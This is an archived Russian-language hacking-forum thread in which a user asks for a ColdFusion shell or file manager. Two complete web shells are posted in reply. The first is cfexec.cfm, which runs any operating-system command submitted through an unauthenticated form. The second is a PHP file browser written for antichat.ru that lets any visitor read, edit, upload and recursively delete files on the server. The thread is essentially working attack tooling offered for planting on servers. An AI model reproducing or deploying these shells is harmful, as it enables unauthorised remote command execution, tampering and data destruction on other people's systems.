Просмотр полной версии : шелл или файловый менеджер на coldfusion.
Знает кто-нибудь ? Чтоб была возможность правки и просмотра файлов.
Stanislaw
22.04.2009, 05:47
попробуй этот:
cfexec.cfm
Код:
<html>
<body>
<cfoutput>
<table>
<form method="POST" action="cfexec.cfm">
<tr>
<td>Command:</td>
<td> <input type=text name="cmd" size=50 <cfif isdefined("form.cmd")> value="#form.cmd#" </cfif>> <br></td>
</tr>
<tr>
<td>Options:</td>
<td> <input type=text name="opts" size=50 <cfif isdefined("form.opts")> value="#form.opts#" </cfif> ><br> </td>
</tr>
<tr>
<td>Timeout:</td>
<td><input type=text name="timeout" size=4 <cfif isdefined("form.timeout")> value="#form.timeout#" <cfelse> value="5" </cfif> > </td>
</tr>
</table>
<input type=submit value="Exec" >
</FORM>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#" arguments = "#Form.opts#" timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
<pre>
#myVar#
</pre>
</cfoutput>
</body>
</html>
да этот у меня есть... но нужен полноценный файл-менеджер, чтоб возможность правки файлов была..
heretic1990
22.04.2009, 14:21
Воть))
<?php
/////////////////////////////////////////////////////////////////
/////////////////////////php file browser/////////////////////////
///////////////coded by mamamot spec. for antichat.ru ///////////////
//////////////////////////////2007//////////////////////////////
//проверяем содержимое массива POST
if(isset($_POST['do']))
{
//записываем в файл после редактирования
if($_POST['do']=="edit")
{
$fd=fopen($_POST['filename'], w);
if(!$fd) exit("Ошибка!");
fwrite($fd, $_POST['content']);
fclose($fd);
echo "Редактирование успешно завершено!";
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
}
//загружаем файл на сервер
elseif($_POST['do']=="upload")
{
if(copy($_FILES['filename']['tmp_name'], $_POST['p']."/".$_FILES['filename']['name']))
{
echo("Файл успешно загружен: <br />");
echo($_FILES['filename']['name']);
echo '<br />';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
}
else
{
echo("Ошибка!<br />");
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_POST['p'].'" >Вернуться</a>';
}
}
exit();
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title><? echo "php file browser"; if(isset($_GET['p'])) echo " - ".$_GET['p']; ?></title>
<style type="text/css" >
body
{
font-family: Verdana, Arial;
font-size: 14px;
background-color: #fcc;
}
tr.header
{
background-color: #ccf;
font-family: Verdana, Arial;
font-size: 14px;
}
tr.one
{
background-color: #cff;
font-family: Verdana, Arial;
font-size: 14px;
}
tr.two
{
background-color: #fc6;
font-family: Verdana, Arial;
font-size: 14px;
}
h2
{
font-family: Verdana, Arial;
font-size: 22px;
color:#000;
}
</style>
</head>
<body>
<?php
//Удаление файла
function delete_file($dir, $name)
{
if(!@unlink($dir."/".$name))
{
echo "Доступ запрещен!";
}
else
{
echo "Удалено успешно!";
}
echo '<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
}
//рекурсивное удаление папки
function delete_dir($dir)
{
//открываем папку
$dd=opendir($dir);
//просматриваем все файлы
$todo=true;
while(($file = readdir($dd)))
{
//если файл - удаляем
if(is_file("$dir/$file"))
{
if(!unlink("$dir/$file"))
{
exit("Ошибка-доступ запрещен!");
}
}
//если папка - вызываем рекурсивно функцию удаления
elseif(is_dir("$dir/$file") && $file!='.' && $file!='..')
{
delete_dir("$dir/$file");
}
}
//закрываем папку
closedir($dd);
//удаляем саму уже пустую директорию
rmdir($dir);
echo "Успешно удалено!<br />";
echo '<a href="'.$_SERVER['PHP_SELF'].'" >На главную</a>';
}
//вывод формы загрузки файла
function upload_form()
{
echo '<h2>Загрузка файла в '.$_GET['p'].'</h2>
<form method="post" enctype="multipart/form-data" >
<input type="file" name="filename" /><br />
<input type="hidden" name="p" value="';
if(isset($_GET['p']))
{
echo $_GET['p'].'" />';
}
else
{
echo '." />';
}
echo '<input type="hidden" name="do" value="upload" />';
echo '<input type="submit" value="Загрузить" />';
echo '</form>';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
}
//вывод информации о файле
function file_info()
{
$query=$_GET['p']."/".$_GET['name'];
echo "<h2>Информация о файле: $query</h2>";
echo "Размер: ".filesize($query)."<br />";
$type=filetype($query);
echo "Тип: ".$type."<br />";
echo "Последнее изменение: ".date("d.m.Y G:i:s",filemtime($query))."<br />";
if($type=="file")
{
echo '<a href="'.$query.'" >Скачать/просмотреть</a><br />';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$query.'" >Удалить файл</a><br />';
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=edit&p='.$_GET['p'].'&name='.$_GET['name'].'" >Редактировать(текстовый режим)</a><br />';
}
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$_GET['p'].'" >На главную</a>';
}
//создание папки
function makedir($query, $dirname)
{
$custom=$query."/".$dirname;
if(!mkdir($custom,0700))
{
echo "Ошибка создания каталога!";
}
else
{
echo "Успешно создано!";
}
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >Вернуться</a>';
}
//вывод формы редактирования файла
function edit_file($dir, $name)
{
$query=$dir.'/'.$name;
$fd=fopen($query, "r");
if($fd)
{
$buf=fread($fd, filesize($query));
fclose($fd);
echo '<h2>Редактирование файла</h2>';
echo '<form method="POST" >';
echo '<textarea cols="100" rows="50" name="content" >'.$buf.'</textarea><br />';
echo '<input type="hidden" name="do" value="edit" />';
echo '<input type="hidden" name="p" value="'.$dir.'" />';
echo '<input type="hidden" name="filename" value="'.$dir.'/'.$name.'" />';
echo '<input type="submit" name="submit" value="Сохранить" />';
echo '</form>';
}
else
{
echo 'Ошибка!';
}
echo '<a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$dir.'" >Вернуться</a>';
}
//проверяем режим вывода
if(!isset($_GET['do']) || $_GET['do']=="browse")
{
//основная функция - главное окно работы с файлами и папками
if(!isset($_GET['p']))
{
$dir = ".";
echo "<h2>Корневая директория<h2>";
//получаем список файлов
$dd=opendir(".");
while(($file = readdir($dd)) !== false)
{
$filelist[]=$file;
}
closedir($dd);
}
else
{
echo "<h2>".$_GET['p']."</h2>";
$dir=$_GET['p'];
//получаем список файлов
$dd = opendir($dir);
while(($file = readdir($dd)) !== false)
{
$filelist[]=$file;
}
closedir($dd);
}
//выводим данные в виде таблицы
//выводим заголовок таблицы
echo "<table>";
echo '<tr class="header">';
echo "<td>Имя</td>";
echo "<td>Размер</td>";
echo "<td>Тип файла</td>";
echo "<td>Последнее изменение</td>";
echo "<td>Удалить</td>";
echo "</tr>";
$one=true;
foreach($filelist as $file)
{
$query=$dir."/".$file;
//получаем тип файла
$type=filetype($query);
//задаем стиль строки для облегчения восприятия
if($one)
{
echo '<tr class="one">';
}
else
{
echo '<tr class="two">';
}
$one=!$one;
if($type=="dir")
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=browse&p='.$query.'" >'.$file.'</a></td>';
}
else
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=fi&p='.$dir.'&name='.$file.'" >'.$file.'</a></td>';
}
//выводим размер файла
echo "<td>".filesize($query)."</td>";
echo "<td>".$type."</td>";
echo "<td>".date("d.m.Y G:i:s",filemtime($query))."</td>";
if($type=="file")
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_f&p='.$dir.'&name='.$file.'" >Удалить файл</a></td>';
}
elseif($type=="dir")
{
echo '<td><a href="'.$_SERVER['PHP_SELF'].'?do=delete_d&p='.$query.'" >Удалить папку</a></td>';
}
echo "</tr>";
}
echo "</table>";
//после таблицы мы выводим дополнительные инструменты
//создание папки
echo '<p>';
echo 'Создание папки в текущей директории:<br />';
echo '<form method="GET" >';
echo '<input type="hidden" name="do" value="mkdir" />';
echo '<input type="hidden" name="p" value="'.$dir.'" />';
echo '<input type="text" name="name" value="Имя папки" />';
echo '<input type="submit" name="submit" value="submit" />';
echo '</form>';
echo '<p>';
//загрузка файла
echo '<p>';
echo 'Загрузить файл';
echo '<form method="POST" enctype="multipart/form-data" >';
echo '<input type="hidden" name="do" value="upload" />';
echo '<input type="hidden" name="p" value="'.$dir.'" />';
echo '<input type="file" name="filename" /><br />';
echo '<input type="submit" name="submit" value="Загрузить" />';
echo '</form>';
}
//информация о файле
elseif($_GET['do']=="fi")
{
file_info();
}
//удаление файла
elseif($_GET['do']=="delete_f")
{
delete_file($_GET['p'],$_GET['name']);
}
//удаление папки
elseif($_GET['do']=="delete_d")
{
delete_dir($_GET['p']);
}
//редактирование файла
elseif($_GET['do']=="edit")
{
edit_file($_GET['p'],$_GET['name']);
}
elseif($_GET['do']=="mkdir")
{
makedir($_GET['p'],$_GET['name']);
}
?>
</body>
</html>
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot